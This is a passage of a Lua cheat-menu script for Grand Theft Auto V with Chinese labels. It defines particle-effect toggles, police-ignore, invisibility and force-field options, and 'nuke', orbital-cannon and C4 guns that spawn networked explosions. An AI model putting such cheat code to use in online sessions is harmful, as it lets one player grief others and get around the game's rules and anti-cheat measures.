            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            end
            end, function ()
            removeFxs(affects); affects = {}
            end)

        GTLP(newptfx, "超级赛亚人", {""}, "", function()
            local player_pos = players.get_position(players.user())
            --request_ptfx_asset("core")
            GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "exp_grd_sub_large_spawn_sp", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
            end)

        GTLP(newptfx,"律动线条", {""}, "", function ()
            local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
            local affect <const> = Effect.new("core", "ent_amb_fountain_mansion2")
            if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
            STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
            return
            end
            if timer.elapsed() >= 1000 then
            removeFxs(affects); affects = {}
            timer.reset()
            end
            if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
            local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
            local minimum, maximum = v3.new(), v3.new()
            MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
            local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
            for _, offset in ipairs(offsets) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.0, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
            for _, boneId in ipairs(bones) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            end
            end, function ()
            removeFxs(affects); affects = {}
            end)

        GTLP(newptfx,"神奇糖果", {""}, "", function ()
            local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
            local affect <const> = Effect.new("core", "ent_dst_inflate_ball_clr")
            if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
            STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
            return
            end
            if timer.elapsed() >= 1000 then
            removeFxs(affects); affects = {}
            timer.reset()
            end
            if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
            local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
            local minimum, maximum = v3.new(), v3.new()
            MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
            local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
            for _, offset in ipairs(offsets) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
            for _, boneId in ipairs(bones) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            end
            end, function ()
            removeFxs(affects); affects = {}
            end)

        GTLP(newptfx,"煽风点火", {""}, "", function ()
            local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
            local affect <const> = Effect.new("core", "exp_air_blimp2_sp")
            if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
            STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
            return
            end
            if timer.elapsed() >= 1000 then
            removeFxs(affects); affects = {}
            timer.reset()
            end
            if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
            local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
            local minimum, maximum = v3.new(), v3.new()
            MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
            local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
            for _, offset in ipairs(offsets) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
            for _, boneId in ipairs(bones) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            end
            end, function ()
            removeFxs(affects); affects = {}
            end)

        GTLP(newptfx,"轰轰烈烈", {""}, "", function ()
            local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
            local affect <const> = Effect.new("scr_prologue", "scr_prologue_door_blast")
            if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
            STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
            return
            end
            if timer.elapsed() >= 1000 then
            removeFxs(affects); affects = {}
            timer.reset()
            end
            if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
            local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
            local minimum, maximum = v3.new(), v3.new()
            MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
            local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
            for _, offset in ipairs(offsets) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
            for _, boneId in ipairs(bones) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            end
            end, function ()
            removeFxs(affects); affects = {}
            end)

        GTLP(newptfx,"金光闪耀", {""}, "", function ()
            local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
            local affect <const> = Effect.new("scr_rcbarry1", "scr_alien_teleport")
            if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
            STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
            return
            end
            if timer.elapsed() >= 1000 then
            removeFxs(affects); affects = {}
            timer.reset()
            end
            if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
            local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
            local minimum, maximum = v3.new(), v3.new()
            MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
            local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
            for _, offset in ipairs(offsets) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
            for _, boneId in ipairs(bones) do
            GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
            local fx =
            GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
            GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
            table.insert(affects, fx)
            end
            end
            end, function ()
            removeFxs(affects); affects = {}
            end)

GTLP(sessionfun, "设置力场", {"forcefield"}, "", function()
	forcefielddd()
end, function()
	set_explosion_proof(players.user_ped(), false)
end)


GTLuaScript.slider_text(sessionfun, "力场", {}, "", options_force, function(index)
	forcefield_set(index)
end)

GTLP(sessionfun, "原力", {"jedimode"}, "开启后在载具附近长按滑鼠左键", function()
	jedmode()
end, function()
	state = 0
end)

GTLP(sessionfun, "修仙", {"carpetride"}, "", function()
    carpetridexx()
end,function()
TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
	ENTITY.DETACH_ENTITY(players.user_ped(), true, false)
	ENTITY.SET_ENTITY_VISIBLE(object, false, false)
	entities.delete_by_handle(object)
	state = 0
end)

local ls_driveonair
walkonwater = false
GTTG(sessionfun, "水上行走", {"walkonwater"}, "开启后即可在水域上漫步",  function(on)
    walkonwater = on
    if on then
        GTLuaScript.set_value(ls_driveonair, false)
    end
end)
    
GTLP(quantoutexiao,"火焰拳", {""}, "", function ()
local colour = {r = 1.0, g = 0.0, b = 1.0, a = 1.0}
local affect <const> = Effect.new("scr_sum2_hal", "scr_sum2_hal_bike_wheel_flame_orange")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.0, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

GTLP(quantoutexiao,"冰封拳", {""}, "", function ()
local colour = {r = 0.0, g = 1.0, b = 0.0, a = 0.0}
local affect <const> = Effect.new("scr_bike_adversary", "scr_adversary_weap_glow")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.0, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

GTLP(quantoutexiao,"迷踪拳", {""}, "", function ()
local colour = {r = 1.0, g = 1.0, b = 1.0, a = 0.0}
local affect <const> = Effect.new("proj_indep_firework", "scr_indep_launcher_sparkle_spawn")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),0.7, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)

GTTG(quantoutexiao, "火拳艾斯",{""}, "",function(state)
if state then
 for _, boneId in ipairs(bones) do
request_ptfx_asset("core")
GRAPHICS.USE_PARTICLE_FX_ASSET("core")
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("fire_wrecked_plane_cockpit", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 0.35, false, false, false, 0, 0, 0, 0)
end
else
GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
 end
end)
        
GTTG(quantoutexiao, "雷电拳",{""}, "",function(state)
if state then
for _, boneId in ipairs(bones) do
request_ptfx_asset("scr_reconstructionaccident")
GRAPHICS.USE_PARTICLE_FX_ASSET("scr_reconstructionaccident")
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("scr_sparking_generator", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 3, false, false, false, 0, 0, 0, 0)
end
else
GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
end
end)

GTLP(quantoutexiao,"雷电拳v2", {""}, "", function ()
local colour = {r = 0.0, g = 1.0, b = 1.0, a = 0.0}
local affect <const> = Effect.new("core", "ent_amb_elec_crackle")
if not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(affect.asset) then
STREAMING.REQUEST_NAMED_PTFX_ASSET(affect.asset)
return
end
if timer.elapsed() >= 1000 then
removeFxs(affects); affects = {}
timer.reset()
end
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
local minimum, maximum = v3.new(), v3.new()
MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
local offsets <const> = {v3(minimum.x, minimum.y, 0.0), v3(maximum.x, minimum.y, 0.0)}
for _, offset in ipairs(offsets) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY(affect.name,vehicle,offset.x,offset.y,0.0,0.0,0.0,0.0,0.0, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
elseif ENTITY.DOES_ENTITY_EXIST(players.user_ped()) then
for _, boneId in ipairs(bones) do
GRAPHICS.USE_PARTICLE_FX_ASSET(affect.asset)
local fx =
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(affect.name,players.user_ped(),0.0,0.0,0.0,0.0,0.0,0.0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId),1.3, false, false, false,0, 0, 0, 0)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fx, colour.r, colour.g, colour.b, 0)
table.insert(affects, fx)
end
end
end, function ()
removeFxs(affects); affects = {}
end)
        
GTTG(quantoutexiao, "血拳V1",{""}, "",function(state)
if state then
for _, boneId in ipairs(bones) do
request_ptfx_asset("core")
GRAPHICS.USE_PARTICLE_FX_ASSET("core")
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("blood_mist_prop", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 0.35, false, false, false, 0, 0, 0, 0)
end
else
GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
end
end)
        
GTTG(quantoutexiao, "血拳V2",{""}, "",function(state)
if state then
for _, boneId in ipairs(bones) do
request_ptfx_asset("core")
GRAPHICS.USE_PARTICLE_FX_ASSET("core")
GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("scrape_blood_car", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 0.35, false, false, false, 0, 0, 0, 0)
end
else
GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
end
end)

GTTG(sessionfun, "灵魂出窍", {""}, "", function(toggle)
ghost = toggle 
if ghost then
all_peds = entities.get_all_peds_as_handles()
user_ped = players.user_ped()
clone = PED.CLONE_PED(user_ped,true, true, true)
pos = ENTITY.GET_ENTITY_COORDS(clone, false)
ENTITY.SET_ENTITY_COORDS(user_ped, pos.x-2, pos.y, pos.z)
ENTITY.SET_ENTITY_ALPHA(players.user_ped(), 87, false)
ENTITY.SET_ENTITY_INVINCIBLE(clone,true)
menu.trigger_commands("invisibility remote")
util.create_tick_handler(function()
STREAMING.REQUEST_ANIM_DICT("move_crawl")
PED.SET_PED_MOVEMENT_CLIPSET(clone, "move_crawl", -1)
mod_uses("ped", if on then 1 else -1)
PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(clone, true)
TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(clone, true)
return ghost
end)
else
clonepedpos = ENTITY.GET_ENTITY_COORDS(clone, false)
ENTITY.SET_ENTITY_COORDS(user_ped, clonepedpos.x,clonepedpos.y,clonepedpos.z, false, false)
entities.delete_by_handle(clone)
ENTITY.SET_ENTITY_ALPHA(user_ped, 255, false)
menu.trigger_commands("invisibility off")
end
end)

GTLP(sessionfun, "一拳超人", {""}, "", function()
supermanpersonl()
end)

GTTG(selflist, "假装平民", {}, "让您无法拾取武器", function(toggle)
PED.SET_ENABLE_HANDCUFFS(players.user_ped(), toggle)
end)

GTLP(sessionfun, "转圈圈", {""}, "不要动滑鼠,否则失效", function()
bigpussy()
end, function ()
TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.PLAYER_PED_ID())
ENTITY.DETACH_ENTITY(PLAYER.PLAYER_PED_ID(), true, false)
ENTITY.SET_ENTITY_VISIBLE(object, false)
entities.delete_by_handle(object)
state = 0
end)
    
GTTG(selflist, "空中游泳", {}, "", function(on)
    if on then
        menu.trigger_commands("swiminair on")
    else
        menu.trigger_commands("swiminair off")
    end
end)


GTLP(selflist, "警察无视", {}, "警察不会对您产生敌意", function(toggle)
    PLAYER.SET_POLICE_IGNORE_PLAYER(PLAYER.PLAYER_ID(), toggle)
end)

GTLP(selflist, "所有人无视", {}, "所有NPC不会对您产生敌意", function(toggle)
    PLAYER.SET_EVERYONE_IGNORE_PLAYER(PLAYER.PLAYER_ID(), toggle)
end)

GTLP(selflist, "行动无声", {}, "", function()
    PLAYER.SET_PLAYER_NOISE_MULTIPLIER(PLAYER.PLAYER_ID(), 0.0)
end)

GTLP(sessionfun, "显示轴向", {}, "", function(toggle)
    local c = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z, c.x + 2, c.y, c.z, 255, 0, 0, 255) --x
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z, c.x, c.y + 2, c.z, 0, 255, 0, 255) --y
    GRAPHICS.DRAW_LINE(c.x, c.y, c.z, c.x, c.y, c.z + 2, 0, 0, 255, 255) --z
end)

 GTLP(sessionfun, "线", {}, "连接玩家的线", function(toggle)
        c = ENTITY.GET_ENTITY_COORDS(players.user_ped()) 
        p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        j = ENTITY.GET_ENTITY_COORDS(p) 
        GRAPHICS.DRAW_LINE(c.x, c.y, c.z, j.x, j.y, j.z, 255, 255, 255, 255) 
    end)

GTAC(sessionfun, "拉粑粑", {}, "拉臭臭", function()
    personlshit()
end)

GTAC(sessionfun, "打飞机", {}, "我还需要解释这个吗", function()
    personlhitplane()
end)

shitixinxi = GT(weapon_options, "实体信息枪")
nuke = GT(weapon_options, '核弹枪', {}, '超级壮观喔~')

require "lib.GTSCRIPTS.GTW.nuke"
GTLP(nuke, "核弹枪", {}, "如果想要开飞机扔核弹，你只需要打开此选项并且使用手枪向地面射击", function()
	if PED.IS_PED_SHOOTING(players.user_ped()) then
		local hash = util.joaat("prop_military_pickup_01")
		ent_func.request_model(hash)
		local player_pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0.0, 5.0, 3.0)
		local dir = {}
		local c2 = {}
		c2 = ent_func.get_offset_from_gameplay_camera(1000)
		dir.x = (c2.x - player_pos.x) * 1000
		dir.y = (c2.y - player_pos.y) * 1000
		dir.z = (c2.z - player_pos.z) * 1000

		local nuke = OBJECT.CREATE_OBJECT_NO_OFFSET(hash, player_pos.x, player_pos.y, player_pos.z, true, false, false)
		ENTITY.SET_ENTITY_NO_COLLISION_ENTITY(nuke, players.user_ped(), false)
		ENTITY.APPLY_FORCE_TO_ENTITY(nuke, 0, dir.x, dir.y, dir.z, 0.0, 0.0, 0.0, 0, true, false, true, false, true)
		ENTITY.SET_ENTITY_HAS_GRAVITY(nuke, true)

		while not ENTITY.HAS_ENTITY_COLLIDED_WITH_ANYTHING(nuke) and not ENTITY.IS_ENTITY_IN_WATER(nuke) do
			wait(0)
		end
		local nukePos = ENTITY.GET_ENTITY_COORDS(nuke, true)
		entities.delete_by_handle(nuke)
        ent_func.create_nuke_explosion(nukePos)
	end
end)

GTLP(nuke,("轨道枪"), {}, "", function()
	local last_hit_coords = v3.new()
	if WEAPON.GET_PED_LAST_WEAPON_IMPACT_COORD(players.user_ped(), last_hit_coords) then
        ent_func.use_fx_asset("scr_xm_orbital")
        GRAPHICS.USE_PARTICLE_FX_ASSET("scr_xm_orbital")
        FIRE.ADD_EXPLOSION(last_hit_coords.x, last_hit_coords.y, last_hit_coords.z, 59, 1, true, false, 1.0, false)
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("scr_xm_orbital_blast", last_hit_coords.x, last_hit_coords.y, last_hit_coords.z, 0, 180, 0, 1.0, true, true, true)
        for i = 1, 4 do
            AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "DLC_XM_Explosions_Orbital_Cannon", players.user_ped(), 0, true, false)
        end
	end
end)

custom_c4_list = GT(nuke, "C4枪")
GTLP(custom_c4_list,("开启C4枪"), {}, "", function()
	if PED.IS_PED_SHOOTING(players.user_ped()) and not ENTITY.DOES_ENTITY_EXIST(c4) then
		local hash = util.joaat("prop_bomb_01_s")
		ent_func.request_model(hash)
        local player_pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0.0, 0.5, 0.5)
		local dir = {}
		local c2 = {}
		c2 = ent_func.get_offset_from_gameplay_camera(50)
		dir.x = (c2.x - player_pos.x) * 50
		dir.y = (c2.y - player_pos.y) * 50
		dir.z = (c2.z - player_pos.z) * 50

		c4 = OBJECT.CREATE_OBJECT_NO_OFFSET(hash, player_pos.x, player_pos.y, player_pos.z, true, false, false)
		ENTITY.SET_ENTITY_NO_COLLISION_ENTITY(c4, players.user_ped(), false)
		ENTITY.APPLY_FORCE_TO_ENTITY(c4, 0, dir.x, dir.y, dir.z, 0.0, 0.0, 0.0, 0, true, false, true, false, true)
		ENTITY.SET_ENTITY_HAS_GRAVITY(c4, true)
	end
end)

custom_c4_explosions = {("天基炮"), ("核弹")}
GTLuaScript.textslider(custom_c4_list,("引爆C4"), {}, "", custom_c4_explosions, function(index, name)
    if ENTITY.DOES_ENTITY_EXIST(c4) then
        local c4_pos = ENTITY.GET_ENTITY_COORDS(c4, true)
        entities.delete_by_handle(c4)
	    if index == 1 then
            ent_func.use_fx_asset("scr_xm_orbital")
            FIRE.ADD_EXPLOSION(c4_pos.x, c4_pos.y, c4_pos.z, 59, 1, true, false, 1.0, false)
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD("scr_xm_orbital_blast", c4_pos.x, c4_pos.y, c4_pos.z, 0, 180, 0, 1.0, true, true, true)
        elseif index == 2 then
	    	ent_func.create_nuke_explosion(c4_pos)
        end
        for i = 1, 4 do
            AUDIO.PLAY_SOUND_FROM_ENTITY(-1, "DLC_XM_Explosions_Orbital_Cannon", players.user_ped(), 0, true, false)
        end
    end
end)

local vehicleGun <const> = GT(weapon_options,"车辆枪", {}, "")
finger_thing = GT(weapon_options, "手指枪", {}, "按B伸出手指")
fingergun()
